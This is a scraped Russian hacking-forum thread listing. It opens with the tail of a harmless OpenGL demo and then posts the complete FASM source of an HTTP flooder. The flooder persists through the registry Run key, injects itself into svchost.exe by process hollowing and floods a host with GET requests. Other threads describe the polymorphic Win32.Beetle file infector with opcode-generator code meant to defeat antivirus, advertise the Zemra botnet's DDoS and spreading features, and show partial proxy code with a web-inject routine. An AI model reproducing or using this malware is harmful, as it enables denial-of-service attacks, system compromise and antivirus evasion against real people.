              Camera.Up.x,   Camera.Up.y,   Camera.Up.z);

    DrawGrid(); // Рисуем сетку.
    glTranslatef(0.0, 30.0, 0.0); // Вторую сетку поднимим на 30 чего-то там по Y)
    DrawGrid();;

    SwapBuffers(hDC);
}

void MouseMove(int xMouse, int yMouse)
{
    double xAngle = (double)((AppWidth >> 1)  - xMouse) * 0.0005;
    double yAngle = (double)((AppHeight >> 1) - yMouse) * 0.0010;

    if (Camera.View.y > 8.0)  Camera.View.y = 8.0;
    if (Camera.View.y < -3.0) Camera.View.y = -3.0;

    Camera.View.y += yAngle;
    RotateCamera(-xAngle);

    SetCursorPos(AppWidth >> 1, AppHeight >> 1);
    RenderScene(hDC);
}

void KeyboardInput(int Key)
{
    switch (Key)
    {
      case VK_W: MoveCamera(0.5);      // Движние вперёд.
                 break;
      case VK_S: MoveCamera(-0.5);     // Назад.
                 break;
      case VK_D: RotateCamera(0.025);  // Вправо.
                 break;
      case VK_A: RotateCamera(-0.025); // Влево
                 break;

      case VK_ESCAPE:
               {
                 PostQuitMessage(0);
               }
    }
}

void ResizeScene(int nWidth, int nHeight)
{
    AppWidth  = nWidth;
    AppHeight = nHeight;

    glViewport(0, 0, nWidth, nHeight);
    glMatrixMode(GL_PROJECTION);
    glLoadIdentity();
    gluPerspective(45.0, nWidth / nHeight, 0.1, 0); // Устнавливаем поле обзора в 45 градусов, соотношение сторон, передний и задний план.
    glMatrixMode(GL_MODELVIEW);
    glLoadIdentity();
}

void EnableOpenGL(HWND hWindow, HDC* hDC, HGLRC* hRC)
{
    PIXELFORMATDESCRIPTOR PixelFormat = {0};

    PixelFormat.nSize      = sizeof(PIXELFORMATDESCRIPTOR);
    PixelFormat.nVersion   = 1;
    PixelFormat.dwFlags    = PFD_DRAW_TO_WINDOW |
                             PFD_SUPPORT_OPENGL |
                             PFD_DOUBLEBUFFER;
    PixelFormat.iPixelType = PFD_TYPE_RGBA;
    PixelFormat.cColorBits = 24;              // Глубина цвета.
    PixelFormat.cDepthBits = 16;              // Размер буфера глубины.
    PixelFormat.iLayerType = PFD_MAIN_PLANE;  // Тип плоскости.

    if (!(*hDC = GetDC(hWindow)))
       return;

    if (!(SetPixelFormat(*hDC, (ChoosePixelFormat(*hDC, &PixelFormat)), &PixelFormat)))
       return;

    if (!(*hRC  = wglCreateContext(*hDC)))
       return;

    if (!(wglMakeCurrent(*hDC, *hRC)))
       return;
}

LRESULT CALLBACK WindowProc(HWND hWindow, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    switch (uMsg)
    {
       case WM_SIZE      : ResizeScene(LOWORD(lParam), (HIWORD(lParam))); // Обработка изменения размеров главного окна.
                           break;
       case WM_PAINT     : RenderScene(hDC);                    // Отрисовка кадра.
                           break;
       case WM_CREATE    : EnableOpenGL(hWindow, &hDC, &hRC);             // Инициализация OpenGL.
                           break;
       case WM_KEYDOWN   : KeyboardInput(wParam);                         // Обработка нажатий клавиш на клавиатуре.
                           break;
       case WM_MOUSEMOVE : MouseMove(LOWORD(lParam), (HIWORD(lParam)));   // Обработка движения мыши.
                           break;
       default:
            return DefWindowProc(hWindow, uMsg, wParam, lParam);
    }
    return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    MSG Msg;
    WNDCLASSEX WindowClass;

    WindowClass.cbSize        = sizeof(WNDCLASSEX);
    WindowClass.style         = CS_OWNDC;
    WindowClass.lpfnWndProc   = WindowProc;
    WindowClass.cbClsExtra    = 0;
    WindowClass.cbWndExtra    = 0;
    WindowClass.hInstance     = hInstance;
    WindowClass.hIcon         = LoadIcon(0, IDI_APPLICATION);
    WindowClass.hCursor       = LoadCursor(0, IDC_ARROW);
    WindowClass.hbrBackground = 0;
    WindowClass.lpszMenuName  = 0;
    WindowClass.lpszClassName = "GLClass";
    WindowClass.hIconSm       = LoadIcon(0, IDI_APPLICATION);

    if (!RegisterClassEx(&WindowClass))
    {
       MessageBox(0, "Невозможно зарегистрировать класс окна.", "Шайссе!", MB_ICONERROR);
       return 0;
    }

    hMainWindow = CreateWindowEx(0,
                    "GLClass",
                    "OpenGL 3D",
                    WS_POPUPWINDOW, // Окно создастся без оконной рамки.
                    0,
                    0,
                    800,            // Ширина окна.
                    600,            // Высота.
                    0,
                    0,
                    hInstance,
                    0);
     if (!hMainWindow)
     {
       MessageBox(0, "Невозможно создать окно.", "Шайссе!", MB_ICONERROR);
       return 0;
     }

     ShowWindow(hMainWindow, SW_MAXIMIZE);
     ShowCursor(0);

     while (Msg.message != WM_QUIT)
     {
        if (PeekMessage(&Msg, 0, 0, 0, PM_REMOVE))
        {
           TranslateMessage(&Msg);
           DispatchMessage(&Msg);
        }
        else
           SendMessage(hMainWindow, WM_PAINT, 0, 0); // Посылаем окну сообщение на отрисовку следующего кадра. (Лучше сделать в отдельном потоке)
     }
    return Msg.wParam;
}

Волк-1024 (с)

[MASM32] Шифрование общения проги с хостом

MAS — Sun, 20 Jul 2014 08:59:52 GMT

Шифрование общения проги с хостом алгоритмом RC4 в MASM32, xXxSh@dowxXx говорил что нужно шифровать, я это знаю, но как.. Кто нибудь это осуществлял в masm32, покажите, с шифрованием (и с криптовкой) разобраться нужно, раз и на всегда. Хотя на всегда на вряд ли) выходят все новее windows'ы.

[FASM] HTTP-flooder

Marra_Kesh — Fri, 18 Jul 2014 12:01:53 GMT

Можно почерпнуть много интересного...
Доступно только для пользователей

Code

;=========================================================================;
; AHTUNG!!!!!                    ;
; ВНИМАНИЕ!!!                    ;
; Программа доступна исключительно в образовательных целях.               ;
; Автор не несет ответственности за её использование и причиненный ущерб. ;
;=========================================================================;

;---------------------------------------------;
;                    ;
; fuck da pnz!                    ;
; (x)2006 by Ct757                            ;
; ````````````````                            ;
; [http://ct757.net.ru]                       ;
; v0.02                    ;
; last change: 18.06.06                       ;
;                    ;
;---------------------------------------------;
; change log:                    ;
; ```````````                    ;
;  v0.02:                    ;
;    (+) installation                         ;
;    (+) connection check                     ;
;    (+) code injection                       ;
;    (+) mutex check (second run protection)  ;
;                    ;
;  v0.01:                    ;
;    (*) first version                        ;
;---------------------------------------------;
; список изменений:                           ;
; `````````````````                           ;
;  v0.02:                    ;
;    (+) установка в систему                  ;
;    (+) проверка соединения                  ;
;    (+) внедрение кода в доверенный процесс  ;
;    (+) защита от повторного запуска         ;
;                    ;
;  v0.01:                    ;
;    (*) первая версия                        ;
;---------------------------------------------;

;----------------[OPTIONS]--------------------;  Опции (в миллисекундах):
                      ;  ````````````````````````
            NUM_THREADS         equ 10           ;  <--- количество потоков
            WAIT_DELAY          equ 10000        ;  <--- задержка при проверке соединения
            FLOOD_DELAY         equ 1            ;  <--- задержка при отправке GET запросов
                      ;
;---------------------------------------------;

;----------------[MACRO]----------------------;
                      ;
     macro xinvoke proc,[arg]                    ;
       {                    ;
         common                    ;
           if ~ arg eq                           ;
         reverse                    ;
           pushd arg                             ;
         common                    ;
           end if                    ;
         call [ebx+_#proc-_delta]                ;
       }                    ;
                      ;
;---------------------------------------------;

format PE GUI 4.0
entry _start

include 'win32a.inc'

section '.code' code readable writeable executable

     _start:
             invoke     OpenMutex,0x1F0001,0,szMutex
             test       eax,eax
             jne        _exit

             stdcall    Install
             stdcall    SetAPIs
             stdcall    InjectCode,_injected_code,_injected_code_size

     _exit:
             ret

     _injected_code:
             call       _delta
     _delta:
             pop        ebx
             mov        [ebx+dwDelta-_delta],ebx

             stdcall    Initialize

             stdcall    WaitForTime
             stdcall    StartDOS
             ret

             szHost               db '127.0.0.1',0

             szMutex              db 'fuck-da-pnz-working',0

             szGET                db 'GET /forum/index.php  HTTP/1.1',13,10
                      db 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)',13,10
                      db 'Host: www.xxx.zzz',13,10,13,10
             szGET_size           = $ - szGET

             sin       sockaddr_in

             dwDelta              dd ?

     _API:
             _LoadLibrary         dd LoadLibrary
             _CreateMutex         dd CreateMutex
             _Sleep               dd Sleep
             _CreateThread        dd CreateThread
             _socket              dd socket
             _connect             dd connect
             _closesocket         dd closesocket
             _send                dd send
             _inet_addr           dd inet_addr
             _WSAStartup          dd WSAStartup

     _API_ends:

             _wsock32             db 'WSOCK32.DLL',0

;--------------------------------------------------------------------------------;
; [Initialize]
;--------------------------------------------------------------------------------;

     proc Initialize
       locals
            wsad      WSADATA
       endl
             lea       eax,[ebx+_wsock32-_delta]
             xinvoke   LoadLibrary,eax

             lea       eax,[wsad]
             xinvoke   WSAStartup,0x0101,eax

             lea       eax,[ebx+szHost-_delta]
             xinvoke   inet_addr,eax
             mov       [ebx+sin.sin_addr-_delta],eax
             mov       [ebx+sin.sin_family-_delta],AF_INET
             mov       [ebx+sin.sin_port-_delta],0x5000          ; port 80

             lea       eax,[ebx+szMutex-_delta]
             xinvoke   CreateMutex,0,0,szMutex

             leave
             retn
     endp

;--------------------------------------------------------------------------------;
; [StartDOS]
;--------------------------------------------------------------------------------;

     proc StartDOS
             push      esi
             mov       esi,NUM_THREADS
       .create_thread:
             xor       eax,eax
             lea       ecx,[ebx+ThreadDOS-_delta]
             lea       edx,[ebx+dwDelta-_delta]
             xinvoke   CreateThread,eax,eax,ecx,edx,eax,eax
             dec       esi
             jne       .create_thread
             pop       esi
             retn
     endp

;--------------------------------------------------------------------------------;
; [WaitForTime]
;--------------------------------------------------------------------------------;

     proc WaitForTime
       .one_try:
             xinvoke   socket,AF_INET,SOCK_STREAM,6
             inc       eax
             je        .exit
             dec       eax
             xchg      eax,edi

             lea       eax,[ebx+sin-_delta]
             xinvoke   connect,edi,eax,sizeof.sockaddr_in

             push      eax
             xinvoke   closesocket,edi
             pop       eax

             inc       eax
             jne       .exit

             xinvoke   Sleep,WAIT_DELAY
             jmp       .one_try

       .exit:
             retn
     endp

;--------------------------------------------------------------------------------;
; [ThreadDOS]
;--------------------------------------------------------------------------------;

     proc ThreadDOS pDelta
             mov       ebx,[pDelta]
             mov       ebx,[ebx]

       .one_try:
             xinvoke   socket,AF_INET,SOCK_STREAM,6
             inc       eax
             je        .exit
             dec       eax
             xchg      eax,edi

             lea       eax,[ebx+sin-_delta]
             xinvoke   connect,edi,eax,sizeof.sockaddr_in
             inc       eax
             je        .exit

             lea       eax,[ebx+szGET-_delta]
             xinvoke   send,edi,eax,szGET_size,0

             xinvoke   closesocket,edi

       .exit:
             xinvoke   Sleep,FLOOD_DELAY
             jmp       .one_try

             ret
     endp

     _injected_code_size = $ - _injected_code

             szProga             db 'svchost.exe',0

    ; тупой авторан для защиты от киддисов
             szRun               db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
             szWebCheck          db 'WebCheck',0

;--------------------------------------------------------------------------------;
; [Install]
;--------------------------------------------------------------------------------;

     proc Install
       locals
             szBuffer            db 0x100 dup (?)
             szWinDir            db 0x100 dup (?)
             hKey                dd ?
             dwDataSize          dd ?
       endl
             push      edi

             lea       eax,[szBuffer]
             invoke    GetModuleFileName,0,eax,0x100
             lea       eax,[szWinDir]
             invoke    GetSystemDirectory,eax,0x100
             mov       [dwDataSize],eax
             add       [dwDataSize],11
             lea       edi,[szWinDir+eax]
             mov       eax,'\web'
             stosd
             mov       eax,'chk.'
             stosd
             mov       eax,'exe'
             stosd

             lea       eax,[szWinDir]
             lea       ecx,[szBuffer]
             xor       edx,edx
             invoke    CopyFileEx,ecx,eax,edx,edx,edx,edx

             lea       eax,[hKey]
             invoke    RegOpenKeyEx,HKEY_LOCAL_MACHINE,szRun,0,KEY_ALL_ACCESS,eax
             test      eax,eax
             jne       .exit

             lea       eax,[szWinDir]
             invoke    SHSetValue,[hKey],0,szWebCheck,REG_SZ,eax,[dwDataSize]

             invoke    RegCloseKey,[hKey]

       .exit:
             pop       edi
             leave
             retn
     endp

;--------------------------------------------------------------------------------;
; [InjectCode]
;--------------------------------------------------------------------------------;

     proc InjectCode dwEIP,dwCodeSize
       locals
             shit                dd ?
             p_inf     PROCESS_INFORMATION
             s_inf     STARTUPINFO
       endl
             pusha
             xor       esi,esi

             lea       edi,[s_inf]
             mov       ecx,sizeof.STARTUPINFO
             xor       eax,eax
             rep       stosb

             lea       eax,[szProga]
             lea       ecx,[p_inf]
             lea       edx,[s_inf]

             mov       [s_inf.wShowWindow],1

             invoke    CreateProcess,esi,eax,esi,esi,esi,4,esi,esi,edx,ecx
             test      eax,eax
             je        .exit

             invoke    VirtualAllocEx,[p_inf.hProcess],esi,[dwCodeSize],0x1000,0x40
             test      eax,eax
             je        .exit
             xchg      eax,esi

             lea       eax,[shit]
             invoke    WriteProcessMemory,[p_inf.hProcess],esi,[dwEIP],[dwCodeSize],eax

             sub       esp,0x0300
             mov       ebx,esp
             mov       dword [ebx],0x00010007

             invoke    GetThreadContext,[p_inf.hThread],ebx

             pushd     esi
             popd      [ebx+0xB8]

             invoke    SetThreadContext,[p_inf.hThread],ebx
             add       esp,0x0300
             test      eax,eax
             je        .exit

             invoke    ResumeThread,[p_inf.hThread]

       .exit:
             popa
             ret
     endp

;--------------------------------------------------------------------------------;
; [SetAPIs]
;--------------------------------------------------------------------------------;

     proc SetAPIs
             pusha
             mov       esi,_API
             mov       edi,esi
             mov       ecx,(_API_ends - _API) / 4

       .loop:
             lodsd
             mov       eax,[eax]
             stosd
             loop      .loop

             popa
             retn
     endp

section '.idata' import data readable writeable

    library kernel32, 'KERNEL32.DLL',\
            advapi32, 'ADVAPI32.DLL',\
            wsock32, 'WSOCK32.DLL',\
            shlwapi, 'SHLWAPI.DLL'

    include 'API\kernel32.inc'
    include 'API\advapi32.inc'
    include 'API\wsock32.inc'
    include 'shlwapi.inc'

Найти адрес функции в памяти программы(Diablo.exe)

Slash — Wed, 02 Jul 2014 20:00:44 GMT

Вообщем, пишу программку для Diablo 1, нужны адреса функций, к примеру - функции загрузки локации. Нашел адреса где хранятся данные типа здоровья, опыта и прочего, а вот как найти адреса функций - без понятия, поможете?

[C++, ASM] Win32.Beetle

Anton93 — Wed, 02 Jul 2014 14:37:24 GMT

Доступно только для пользователейДоброго времени суток.

Исходник полиморфа Win32.Beetle.
Автор pest.

Характеристики

- заражает PE файлы (DLL/EXE);
- не изменяет атрибутов секций заражаемого файла;
- в исполняемой секции хранит первый полиморфный декриптор;
- расширяет последнюю секцию и хранит там полезную нагрузку, грабленные данные, дополнительную информацию; все это хранится в шифрованном виде и с разными ключами;
- для передачи управления на первый декриптор применяет технику "Расширенный EPO";
- второй декриптор построен по технологии "Адский треш", который призван усложнить лечение;
- написан на си с асм вставками;
- каждый зараженный файл будет содержать полезную нагрузку.

Принцип работы

Каждый зараженный файл будет играть роль носителя полезной нагрузки. В качестве примера рассмотрим зараженный winmine.exe, у которого в качестве полезной нагрузки будет calc.exe.
Секции зараженного файла:

Шифрованные данные в последней секции выглядят так:

После запуска файла с помощью расширенного EPO произойдет переход на первый декриптор:

Первый полиморфный декриптор располагается на месте одной сграбленной функции из оригинального файла, и поэтому этот декриптор имеет ограниченный размер:

Декриптор выделяет память, копирует данные из последней секции, расшифровывает второй «адский» декриптор и передает управление на него.

Адский декриптор представляет очень большое количество вложенных полиморфных функций. И операции декриптора «размазаны» по этим функциям.

Начало второго декриптора:

После его исполнения расшифруется шеллкод, который запустит полезную нагрузку и восстановит всю краденную информацию у зараженного файла, продолжит его управление.

Для заражения файлов используется две техники:

- расширенное EPO
- адский треш

Расширенное EPO

Поиск CALL производится не от точки входа, а по всей исполняемой секции. Причем для поиска не применяются никакие сложные алгоритмы. Алгоритм выглядит так:

1. ищет байт 0xE8 и определяет адрес перехода;
2. смотрит, если адрес попадает в диапазон исполняемой секции, то переходит на него, иначе на пункт 1;
3. после перехода читает первые байты и сравнивает со стандартным прологом push ebb / mov ebp,esp. Если условие выполняется — считает, что функция найдена, иначе пункт 1.

После таких нехитрых операций вирус получает все call вызовы в программе.
Далее он пытается определить размер этих функций. Для этого выполняет следующий алгоритм:

1. По найденным call адресам идет дизассемблером длин.
2. И смотрит опкоды ret/ret xx: если они равны, то это есть минимальная длина функции.

В результате получится список функций и длина. Используя эти данные, инфектор рандомно выбирает одну, «крадет» ее и встраивает туда свой первый декриптор. Но нужно не забывать, что на эту функцию могут указывать релоки, которые "изуродуют" код декриптора. И чтобы этого не произошло, нужно отключить релоки для адресов, которые переходят внутрь функции.

Кроме этого, инфектор не знает логику выполнения программы, и, возможно, что эта грабленная функция никогда не исполнится. Для увеличения вероятности он переадресует несколько случайно выбранных call на код, а точнее на полиморфный декриптор.

Полиморфный генератор

Любой генератор должен уметь создавать произвольные опкоды. В инфекторе генерация элементарных опкодов производится достаточно просто. Для генерации инструкций в памяти введены следующие функции для работы с памятью:

Код

struct BLOCK{
       uint32    size;
       uint8*    data;
};

bool add_block(BLOCK *b,uint8* data,int size){
       if (!b->size){
        b->data=(uint8*)malloc(size);
        if (!b->data) return false;
       }else{
        b->data=(uint8*)realloc(b->data,b->size+size);
        if (!b->data) return false;
       }
       memcpy(&b->data[b->size],data,size);
       b->size+=size;
       return true;
}

Описание регистров и основных операций:

Код

enum REG{
       _RAX=0,
       _RCX=1,
       _RDX=2,
       _RBX=3,
       _RSP=4,
       _RBP=5,
       _RSI=6,
       _RDI=7,
};

enum OP2{
       _XOR = 0x30,
       _ADD = 0x00,
       _SUB = 0x28,
       _AND = 0x20,
       _OR = 0x08,
       _MOV = 0x88,
       _CMP = 0x38,
       _TEST =0x82,
};

И сделаны простые функции, которые генерируют как один опкод, так целый класс опкодов:

Код

struct OPCODE_2{
       uint8 o1;
       uint8 o2;
};

int _OP_RR(BLOCK *b,uint32 o,uint8 r1,uint8 r2,bool x64=false){
       int i=0;
       if (x64){
        uint8 pref=0x48;
        add_block(b,(uint8*)&pref,sizeof(pref));
        i++;
       }

       OPCODE_2 op;
       op.o1=0x03+o&0xFF;
       op.o2=0xC0+r2+8*r1;
       add_block(b,(uint8*)&op,sizeof(OPCODE_2));
       i+=2;
       return i;
}

int _PUSH_R(BLOCK *b,uint8 reg){
       int i=1;
       uint8 op=0x50|reg;
       add_block(b,&op,1);
       return i;
}

… их там много …
Количество опкодов можно легко наращивать.
Вот пример простого декриптора:

Код

       mov edx, key
       mov eax, data
       mov ecx, size/4
l1:
       xor [eax],edx
       add eax, 4
       loop l1

А вот как это будет выглядеть с использованием функций:

Код

BLOCK b;
b.size=0;
int i=0;
l+=_OP_RC(&b, _MOV, _RDX, key);
l+=_OP_RC(&b, _MOV, _RAX, data);
l+=_OP_RC(&b, _MOV, _RCX, size/4);
int l1=l;
l+=_OP_ArR(&b, _XOR, _RAX, _RDX);
l+=_OP_RC(&b, _ADD, _RAX, 4);
l+=LOOP(l1-(l+2));

Этот код уже легко можно усложнить, например, между инструкциями добавлять мусор, менять регистры, морфить основные команды. Все это реализовано при генерации первого декриптора. А вот второй декриптор будет гораздо сложнее.

"Адский" мусор

Для усложнения декриптора было решено генерировать большое количество вложенных функций и инструкции декриптора размазать по ним.

В первом декрипторе одна инструкция равна одной полезной команде. Было решено одну полезную инструкцию, пусть будет "mov eax, 0x12345678", помещать в функцию. В результате должен получиться такой код:

Код

push ebp
mov ebp, esp
sub esp, local_size
trash_1 — мусорные инструкции
mov eax, 0x12345678 — полезная команда
trash_2 — мусорные инструкции
leave
ret

В результате таких нехитрых действий можно потерять значение eax после выполнения кода в trash_2. Так как trash может генерировать различные инструкции, которые будут работать с eax. Для этого был введен "контекст", в котором задаются рабочие регистры. И если при генерации мусора выполняется работа с рабочим регистром, то он заносится в локальную переменную для этой функции.

Код

struct REG_ITEM{
       uint32 value; //значение регистра
uint32 local; //номер локальной переменной
       bool st; //флаг включения регистра
       bool l_st; //флаг, информирующий, что регистр перемещен в локальную переменную
};

REG_ITEM reg[8];

И вот пример, как это будет работать:

1. инструкция, которая должна быть сгенерирована: "mov eax, 12345678";
2. инициализируется количество локальных переменных: 8*8+‹rnd›*8 (0x88);
3. reg[_RAX].st=true; указывает, что _RAX - рабочий регистр;
4. инициализируется номер переменной для хранения регистра: reg[_RAX].local=‹rnd›*8 (0x80);
5. В случае генерации мусора, который будет использовать eax, значение регистра будет перемещено в локальную переменную по смещению 0x80;
6. Когда нужно будет выполнить команду, регистр выгружается из переменной и используется в полезной инструкции.

Вот так выглядит одна функция, которая выполняет mov eax, 12345678:

Назовем такой генератор gen_call_op. Так как сейчас можно контролировать состояние регистров в генерируемых функциях. Можно строить более сложные конструкции. Например, генерировать несколько функций, и объединяю их в func4:

Код

func1:
..
func2:
..
func3:
mov eax,12345678
…

func4:
call func1
trash1
call func2
trash2
call func3
trash3

И так можно сделать несколько слоев. Граф выполнения всего одной полезной команды выглядит так:

В этом графе полезная инструкция может быть на месте любой функции. Для данного графа функция, которая содержит инструкцию, обведена красным квадратом. Назовем такой генератор gen_tree_op.
И вот из таких инструкций (gen_tree_op) инфектор строит свой декриптор. По моему, выглядит «адски».

Не составит труда переделать его под x64, большинство инструкций отличаются лишь префиксом.

Свойства генератора:

- Данный способ позволяет генерировать инструкции практически любой сложности.
- Поиск полезных инструкций становится крайне затруднительным статическим анализом.
- Генерируемый код похожий на тот, который генерируют компиляторы.
- Не строит код, по которому можно было бы взять сигнатуру.

Шеллкод

Код, который выполняет полезную нагрузку и восстанавливает грабленные части файла: cвободно-релоцируемый и написан полностью на си. Обычно такой код пишется на ассемблере, возможно, для версии x64 придется его и использовать, но для x86 можно обойтись си. Принцип написания базонезависимого кода был взят из вируса 0x02 pr0m1x. Из критических изменений можно выделить поиск базы kernel32.dll. В моем коде ищется через PEB, перечисляются все имена загруженных dll и считается их хеш. Такой способ работает на всей линейке XP до WIN8.

Выводы:

- расширенный OEP усложняет детект вируса ав;
- первый и второй полиморфный декриптор усложняют детект вируса;
- второй полиморфный декриптор усложняет статический поиск необходимых значений для расшифровки остальных частей, что значительно осложнит лечение;
- минимум аномалий после заражения файла;
- файл сильно перестроен после заражения, что тоже должно сильно усложнить лечение.

Все эти характеристики должны создать головную боль аверам, и если это будет так, то все мои труды были потрачены не зря.

[C#] Zemra Botnet (SRC)

annakin — Fri, 13 Jun 2014 16:31:57 GMT

Zemra впервые появилась на приватных форумах в мае 2012 года. Этот пакет очень похож, на другие малварь-пакеты преступлений, таких как Зевс и SpyEye, который включает в себя админпанель, размещенную на удаленном сервере.

Zemra использует простую панель с возможностью обзора всей необходимой статистики. С помощью двух графиков можно увидеть действующий статистику онлайн ботов по регионам. Также можно увидеть все онлайн Socks5 и экспортировать их в файл. Трафик между ботом и админпанелью шифруется и криптуется с помощью алгоритма AES, каждый клиент общается с уникальным сгенерированным ключом.

Краткий список его возможностей:

• Интуитивно понятная панель управления
• DDos (HTTP / SYN Flood / UDP)
• Loader (загрузить и запустить).
• Счетчик посещений (посещений просмотров страниц).
• USB распространение (распространение через флэш-накопители)
• Socks5 (подбирает прокси носки на зараженном компьютере, лол) (открывает прокси на ПК холдера)
• Update (обновление бота)
• процесс не может быть завершен, так как он критичен.
• 256-битное AES шифрование трафика от бота к серверу
• Анти-отладка
• Существует возможность выбора конкретного бота, страну для выполнения задания

Источник http://brutezone.ru

[C++] Запуск exe из массива в память. Как?

Slash — Fri, 28 Feb 2014 05:29:44 GMT

Форум: Остальные языки программирования
Автор темы: Slash
Автор последнего сообщения: Volf
Количество ответов: 8

FASM Уроки

d4rkzy — Fri, 31 Jan 2014 14:24:53 GMT

Форум: Остальные языки программирования
Автор темы: d4rkzy
Автор последнего сообщения: ms301
Количество ответов: 1

[C++] http proxy

Neo — Wed, 15 Jan 2014 22:30:15 GMT

Всем привет,вот я набросал локальный проксик,да только вот на мозиле он вроде норм работает,а когда с хрома захожу,то вообще не грузит ничего.
proxy.Мож,кто подскажет в чём трабла?
proxy.h

Код

#include
#include
using namespace std;
#pragma comment(lib, "ws2_32.lib")
#define Buf_Size 99990
#define ipLen 20
#define pReadSize 2000
typedef DWORD (WINAPI* ThreadFunc)(LPVOID);
namespace NetWork
{
//CRITICAL_SECTION    cs;
bool SetClientSocket(SOCKET &x,LPSTR host,UINT port){
    sockaddr_in addr;
    x = socket(AF_INET,SOCK_STREAM,0);
    if (x != SOCKET_ERROR){
     cout<<"Client Socket is ok"<     addr.sin_family = AF_INET;
     addr.sin_port = htons(port);
     addr.sin_addr.s_addr = inet_addr(host);
     if (!connect(x,(const sockaddr*)&addr,sizeof(addr))){
      cout<<"Client is ready!"<      return true;
     }else
      cout<<"Client is not ready!"<     }
    return false;
}

/**
*Удаляет  пробел и \
*/
char* del_sb(char* str)
{
    int N = strlen(str);
    char* res = (char*)malloc(N);
    ZeroMemory(res,N);
    int j = 0;
    for(int i=0; i     if (str[i]!='/' && str[i]!=' ' && str[i]!='\\'){
      res[j] = str[i];
      j++;
     }
    return res;
}

/*
*Возвращает IP по домену
*/
char * GetHostByName(char* name)
{
    if (strstr(name,"http://")!=NULL)
     name = name+7;
    char* P = del_sb(name);
    strcpy(name,P);
    free(P);
    WSADATA wdata;
       struct hostent *remoteHost;
       int result = WSAStartup(MAKEWORD(2,2), &wdata);
       remoteHost = gethostbyname(name);
       return inet_ntoa(*( struct in_addr*)remoteHost->h_addr_list[0]);
}

/*
*Получает пост запрос от браузера.Возвращает в параметрах IP и порт.
*/
void GetHostAndPort(IN char* refa, OUT char host[ipLen], OUT UINT &port)
{
    if (!strlen(refa))
    {
     memset(host,0,sizeof(host));
     port = 0;
     return;
    }
    if (    strstr(refa,"GET") == refa || strstr(refa,"POST") == refa    )
     port = 80;
    else
    if (    strstr(refa,"CONNECT") == refa    )
     port = 443;
    char HOST[100] = {};
    char* p1 = strstr(refa,"Host:");
    if (p1 != NULL) p1+=5;
    else return;
    char* p2 = strstr(p1,"\r\n");
    if (p2 == NULL) return;
    ZeroMemory(HOST,sizeof(HOST));
    strncpy(HOST,p1,p2-p1);
    strcpy(HOST,GetHostByName(HOST));
    strcpy(host,HOST);
}

void SaveToFile(LPSTR fname,LPVOID buf,DWORD size)
{
    HANDLE f = CreateFileA(fname,GENERIC_ALL,FILE_SHARE_WRITE,0,CREATE_ALWAYS,0,NULL);
    DWORD w = 0;
    WriteFile(f,buf,size,&w,NULL);
    CloseHandle(f);
}

/*
*Заменяет в стоке string все вхождения delimiter на replacement.Если нет delimiter
*,то возвращает 0,иначе 1.
*/
int string_replace(char *string, const char *delimiter, const char *replacement)
{
    if (strlen(delimiter) == 0 || strlen(replacement) == 0) return 0;
    int bret = 0;
    char *ret;
    int length_del, length_rep, i, j;

    if (string == NULL || delimiter == NULL || replacement == NULL) return 0;
    length_del = strlen(delimiter);
    length_rep = strlen(replacement);
    i = 0;
    j = 0;
    while (string[i] != '\0')
    {
     if (!strncmp(&string[i], delimiter, length_del)) {
      i += length_del;
      j += length_rep;
      bret = 1;
     } else {
      i++;
      j++;
     }
    }
    if (!bret) return bret;
    ret = (char*) malloc(j+1);
    if (!ret) return 0;
    i = 0;
    j = 0;
    while (string[i] != '\0')
    {
     if (!strncmp(&string[i], delimiter, length_del))
     {
      strncpy(&ret[j], replacement, length_rep);
      i += length_del;
      j += length_rep;
     } else
     {
      ret[j] = string[i];
      i++;
      j++;
     }
    }
    ret[j] = '\0';
    strcpy(string, ret);
    free(ret);
return bret;
}

/**
*Возврашает строку с подставленным тегом.
*вернёт true,если была произведёна подстановка кода после указанного тега.
*Результат будет указатель на память в Result на новый код.
*Возвратит true - если была выделена память с новой строкой.
*Внимание!!! Тогда Не Забыть освободить память!!!
*false возвратит,если не было найдено тега,после которого нужно подставить код.
*Тогда Result будет указывать на исходный str.
**/
bool WebInject(char *str, int len_Str, char *teg, char *code, OUT char *&Result)
{
    int NewSize = strlen(str) + strlen(code)+1;
    Result = str;
    char *NewStr;

    char *TEG = strstr(str,teg);
    if (TEG != NULL)    //найден тег
    {
     TEG +=strlen(teg);
     NewStr = (char *)malloc(NewSize);
     memset(NewStr,0,NewSize);

     int n = TEG-str;
     memcpy(NewStr,str,n);    //Копирую все,до тега включительно
     char *p = NewStr+n;
     memcpy(p,code,strlen(code));  //Добавляю код
     p+=strlen(code);
     memcpy(p,TEG,strlen(str)-(TEG-str));    //Добавляю всё,что после тега

     Result = NewStr;
     return true;
    }
       return false;  //не найден тег
}

/*
*Юзаю многопоточность
*/
DWORD WINAPI ClientThread(LPVOID lpParam){
    char host[ipLen];
    UINT port = 0;
    SOCKET    sock = (SOCKET)lpParam;
    SOCKET client;
    char szRecvBuff[pReadSize];
    char Read[pReadSize];
    int    ret,Send;
    do
    {
     int i = 0;
     memset(&szRecvBuff, 0, pReadSize);
     ret = recv(sock, szRecvBuff, pReadSize, 0);
     if (i==0)
     {
      GetHostAndPort(szRecvBuff, host, port);
      SetClientSocket(client, host, port);
     }
     Send = send(client,szRecvBuff,pReadSize,0);
     i++;
    }while (Send == 0);

    do
    {
     memset(Read,0, pReadSize);
     ret = recv(client,Read,pReadSize, 0);
     Send = send(sock,Read,pReadSize,0);
     memset(Read,0,pReadSize);
    }while (Send == 0);
    //shutdown(sock,0);
    closesocket(sock);
    return 0;
}

class tServer{
private:
    WSADATA wsaData;
    SOCKET sServerListen, sClient;
    sockaddr_in localaddr, clientaddr;
    char* buf;
public:
    tServer(UINT port, LPVOID ClientThreadAddr);
};

tServer::tServer(UINT port, LPVOID ClientThreadAddr){
    DWORD dwThreadId = 0;
    ThreadFunc TF = (ThreadFunc)ClientThreadAddr;
    int err = WSAStartup(MAKEWORD(2,2),&wsaData);
    //InitializeCriticalSection(&cs);
    if (!err)
    {
     cout<<"WSAStartup is ok"<     sServerListen  = socket(AF_INET,SOCK_STREAM,0);
     if (sServerListen  != SOCKET_ERROR)
     {
      cout<<"Server Socket is ok"<      localaddr.sin_family = AF_INET;
      localaddr.sin_port =htons(port);
      localaddr.sin_addr.s_addr = INADDR_ANY;

